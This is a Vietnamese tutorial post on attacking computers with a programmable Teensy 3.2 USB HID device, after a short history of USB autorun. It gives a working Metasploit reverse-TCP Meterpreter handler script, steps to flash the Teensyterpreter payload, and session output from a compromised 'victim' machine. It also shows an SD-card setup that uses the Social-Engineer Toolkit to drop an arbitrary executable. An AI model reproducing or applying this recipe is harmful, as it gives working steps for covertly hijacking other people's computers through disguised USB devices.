Tấn công máy tính sử dụng Teensy HID - P1

Giới thiệu

Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phân lớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước và chức năng khác nhau. Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bản phần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác.

HID (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thể được lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuột USB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ...

Các cuộc tấn công Social Engineering

Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự phát triển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lại những người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mang tính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng.

Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến các phương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém.

Thiết bị lưu trữ USB chứa mã độc

Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiết bị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thông báo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Có nhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máy ảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn công chủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kích hoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến.

Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chú ý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành về sau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi:

  • Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năng autorun.inf. Đây là thời điểm ra đời của thiết bị USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểm soát của hệ điều hành.
  • Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ UAC (User Account Control). Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằm tăng khả năng kiểm soát việc thực thi mã độc tự động.
  • Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặc định của hệ điều hành.

Thiết bị lưu trữ USB U3

USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD

Sư ra đời của thiết bị USB U3 là một nhánh phát triển của kỹ thuật vượt cơ chế kiểm soát USB của hệ điều hành Windows XP. USB U3 lợi dụng chính sách Autorun chỉ được cho phép trên CD/DVD, các tin tặc đã áp dụng tính năng nhằm lưu trữ và thực thi mã độc tự động trên XP.

Thiết bị HID - kỹ thuật tấn công đa hình

Nhằm vượt qua các cơ chế kiểm soát của hệ điều hành ngày nay, phương án tấn công sử dụng thiết bị HID là một lựa chọn hoàn hảo. Bằng cách lập trình lại vi điều khiển của thiết bị HID, tin tặc có thể giả lập các hành vi của bàn phím, chuột để gởi các thông tin dữ liệu mong muốn đến máy tính/ thiết bị kết nối nhằm thực thi mã độc chiếm quyền điều khiển.

Do đặc tính linh động và có thể định nghĩa lại vi xử lý, HID có thể ẩn mình dưới nhiều hình dạng và chức năng khác nhau như: bộ sạc nguồn, bàn phím, quạt USB, đèn USB, đầu đọc thẻ nhớ, đồng hồ,...

Trên thị trường hiện nay có khá nhiều vi xử lý, mạch tích hợp, thiết bị hỗ trợ HID và người dùng có thể nhanh chóng thay đổi cấu trúc firmware của nó thông qua ngôn ngữ lập trình. Một số tiêu biểu như Arduino, Raspberry Pi, Teensy, USB Rubber Ducky Deluxe,...

Hình 1: Các thiết bị hỗ trợ HID

Thiết bị Teensy HID

Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB. Giá của mạch Teensy 3.2 là khoảng 20 USD và bạn có thể mua trực tuyến tại PJRC Store.

Hình 2: Thiết bị Teensy 3.2

Arduino IDE, Teensyduino

Để tiến hành nạp các mã nguồn vào thiết bị, bạn cần phải cài đặt Arduino IDE và thư viện Teensyduino;

Arduino IDE và Teensyduino

Hình 3: Giao diện Arduino IDE và Teensyduino

Sau khi tiến hành cái đặt thành công, bạn có thể tiến hành lập trình và nạp chương trình vào thiết bị qua giao diện Arduino IDE. Cần chú ý chọn đúng phiên bản phần cứng mà bạn sử dụng để nạp chương trình.

Thiết lập Arduino IDE - Teensy 3.2

Hình 4: Thiết lập môi trường lập trình Teensy 3.2

Teensy USB – Tấn công đa nền tảng

Teensy có thể đóng vai trò là một thiết bị mã độc (lưu trữ các mã dropper trong chính thiết bị Teensy), hoặc có thể kết hợp với thẻ nhớ SD để mở rộng vùng lưu trữ dữ liệu (lưu trữ các CVE exploit, 0-day, malware,...). Khi dropper được tạo trên máy nạn nhân, nó sẽ tiến hành nhận các mã khai thác, backdoor,... từ máy chủ tin tặc.

Teensy HID attack vector

Tấn công 1: Teensy USB + Metasploit

Đây là kỹ thuật tấn công đơn giản nhất để kiếm soát máy nạn nhân dưới 30 giây.

Bước 1: Kích hoạt Metasploit tại máy chủ tin tặc

Tạo tập tin payload_handler.rc với nội dung như sau:

root@kali:~# cat payload_handler.rc  
use multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST 0.0.0.0  
set LPORT 4444  
set ExitOnSession false  
set EnableStageEncoding true  
exploit -j  

Khởi tạo máy chủ tin tặc sử dụng lệnh msfconsole:

root@kali:~# msfconsole -r payload_handler.rc  
....
[*] Processing payload_handler.rc for ERB directives.
resource (payload_handler.rc)> use multi/handler  
resource (payload_handler.rc)> set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
resource (payload_handler.rc)> set LHOST 0.0.0.0  
LHOST => 0.0.0.0  
resource (payload_handler.rc)> set LPORT 4444  
LPORT => 4444  
resource (payload_handler.rc)> set ExitOnSession false  
ExitOnSession => false  
resource (payload_handler.rc)> set EnableStageEncoding true  
EnableStageEncoding => true  
resource (payload_handler.rc)> exploit -j  
[*] Exploit running as background job.

Bước 2: Nạp chương trình Teensy

Có nhiều platform cung cấp mã chương trình phục vụ tạo kết nối từ máy nạn nhân đến máy chủ tin tặc như: Social Engineering Toolkit, hid-backdoor-peensy,... Trong ví dụ này, tôi sẽ sử dụng mã khai thác Teensyterpreter với các tính năng cơ bản nhất để có thể nhanh chóng hiểu rõ tính năng của Teensy.

Tải mã nguồn Teensyterpreter tại:https://raw.githubusercontent.com/KernelEquinox/Teensyterpreter/master/Teensyterpreter.ino

Thực hiện mở tập tin Teensyterpreter.ino trong Arduino IDE và cần điều chỉnh cấu hình kết nối đến IP, Port máy chủ Metasploit.

Thiết lập Teensyterpreter

Hình 5: Thiết lập địa chỉ IP, cổng kết nối đến máy chủ tin tặc

Trước khi thực hiện biên dịch và nạp chip, cần chú ý thiết lập thiết bị Teensy là "Keyboard + Mouse + Joystick".

Teensy Device Setup

Hình 6: Thiết lập loại thiết bị USB

Thực hiện biên dịch và nạp chip thông qua nút Verify và Upload.

Biên dịch Teensyterpreter

Hình 7: Biên dịch Teensyterpreter

Sau khi nạp chương trình bạn có thể thực hiện kiểm tra kết nối tại Metasploit.

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Starting the payload handler...
msf exploit(handler) > [*] Encoded stage with x86/shikata_ga_nai  
[*] Sending encoded stage (958029 bytes) to 14.187.167.126
[*] Meterpreter session 1 opened (192.168.207.141:4444 -> 14.187.167.126:11167) at 2016-07-10 01:34:04 -0400

msf exploit(handler) > sessions -i

Active sessions  
===============

  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  VICTIM\victim @ VICTIM  192.168.207.141:4444 -> 14.187.167.126:11167 (192.168.1.64)

msf exploit(handler) >  

Teensy Reverse TCP Metasploit

Hình 8: Kết nối từ máy nạn nhận đến Metasploit

Tấn công 2: Teensy USB + Micro SD card

Nhằm khắc phục những hạn chế khi tấn công máy tính trong môi trường không có kết nối internet, hoặc cần sao chép dữ liệu trên một máy tính nạn nhân, tôi thực hiện lưu trữ mã độc vào thẻ nhớ MicroSD và nạp lại chương trình cho Teensy.

Đế có thể kết nối thêm thiết bị MicroSD vào Teensy, tôi cần thêm một module tích hợp "SD Adatpor". Đây là module tương thích với Teensy USB và có kích thước nhỏ, phù hợp cho việc ngụy trang thiết bị.

Teensy Micro SD Adator

Hình 9: Mạch tích hợp SD Adaptor

Tuy nhiên, bạn cũng có thể mua một số loại adaptor khác từ thị trường, bạn cần đọc kỹ các chỉ dẫn để có thể kết nối phần cứng và nạp chương trình cho các chân phù hợp.

SPI Micro SD / TF Card Adapter Module for Arduino - Blue

Hình 10: Mạch tích hợp SD Adaptor dành cho Arduino

Teensy and Card Adapter Module

Hình 11: Kết nối Teensy USB và SD adaptor

Kết nối phần cứng

Để thực hiện kết nối các thiết bị phần cứng, tôi sử dụng một số dây nối loại đầu cái-cái 10cm, và hàn các chân đực vào mạch Teensy. Sơ đồ kết nối như sau:

SD Adaptor Teensy
5V (VCC) 3.3V (100mA max)
Groud (GND) GND
MOSI 11, DOUT
MISO 12,DIN
SCLK (SCK) 13, SCK
SS (CS) 10, CS

Nạp chương trình đọc thẻ nhớ

Tôi tiến hành nạp chương trình kiểm tra kết nối đến thẻ nhớ và kiểm tra dữ liệu tại cổng COM.

Teensyduino Card Info

Hình 12: Mã nguồn SD CardInfo

Cần điều chỉnh chipSelect =10 tương đương với cổng CS/SS theo kết nối vật lý.

// change this to match your SD shield or module;
// Arduino Ethernet shield: pin 4
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = 10;  

Teensyduino Card Info

Hình 13: Mã nguồn SD CardInfo

Teensyduino Card Info

Hình 14: Mã nguồn SD CardInfo

Triển khai mã độc

Tôi sử dụng chương trình Social-Engineer Toolkit (SET) tại Kali để tạo mã độc và nạp chương trình cho Teensy.

Teensy SD Malware

Hình 15: Luồng tấn công sử dụng Teensy + SD Card

root@kali:~# setoolkit  
1) Social-Engineering Attacks  
6) Arduino-Based Attack Vector  
8) SDCard 2 Teensy Attack (Deploy Any EXE)  

Tải chương trình payload.exe đã tạo sẵn vào chuyển thành .txt tại đường dẫn /usr/share/set/. Sao chép converts.txt vào thẻ nhớ và nạp teensy.pde vào Teensy.

Tham khảo

  1. How AutoRun Malware Became a Problem on Windows, and How It Was (Mostly) Fixed
  2. Don’t Panic, But All USB Devices Have a Massive Security Problem
  3. HTG Explains: What Is Juice Jacking and How Worried Should You Be?
  4. https://www.pjrc.com/teensy/
  5. http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices
  6. http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
  7. https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/
  8. https://github.com/offensive-security/hid-backdoor-peensy
  9. https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/teensy/peensy.pde
  10. https://github.com/matterpreter/penteensy
  11. https://github.com/samratashok/nishang
  12. http://www.linux-usb.org/usb.ids
  13. https://jumpespjump.blogspot.com/2013/09/making-pc-mouse-hw-trojan.html
lên
14 thành viên đã đánh giá bài viết này hữu ích.
Chuyên mục: 
Các dự án được truyền cảm hứng

Select any filter and click on Apply to see results

Các bài viết cùng tác giả

Giới thiệu SDR - Theo dõi thông tin chuyến bay sử dụng MATLAB và RTL-SDR thu nhận tín hiệu ADS-B - P2

Trong bài viết này, tôi sử dụng chương trình Matlab và phần cứng RTL-SDR trong việc thu nhận tín hiệu ADS-B (Automatic Dependent Surveillance-Broadcast) nhằm giám sát chuyến bay trong phạm vi khu vực giới hạn.

Người dùng có thể sử dụng các công cụ khác nhau để có cùng kết quả phân tích dữ liệu. Tuy nhiên, trong các bài viết này tôi tập trung chủ yếu vào việc ứng dụng Matlab và RTL-SDR để làm các thử nghiệm trong môi trường thu/ phát tín hiệu đã được khống chế. Việc sử dụng Matlab cho phép người dùng phát triển và đo lường các giải thuật tốt hơn với các bộ công cụ mà nó hỗ trợ trước khi tiến hành triển khai trên môi trường ứng dụng máy tính.

lên
5 thành viên đã đánh giá bài viết này hữu ích.

Giới thiệu Intel Edison - Cylon.js - P6

CylonJS là một thư viện Javascript hỗ trợ trong việc phát triển Robot và các dự án IoT trên nền tảng Node.js. Sức mạnh của CylonJS nằm trong số lượng 43 mạch điều khiển và phần mềm mà nó hỗ trợ. Trường hợp bạn đang sở hữu một mạch Arduino và muốn tìm hiểu về CylonJS, hãy truy cập ngay trang web chính thức để có thể bắt đầu từ bây giờ https://cylonjs.com/documentation/platforms/arduino/.

lên
6 thành viên đã đánh giá bài viết này hữu ích.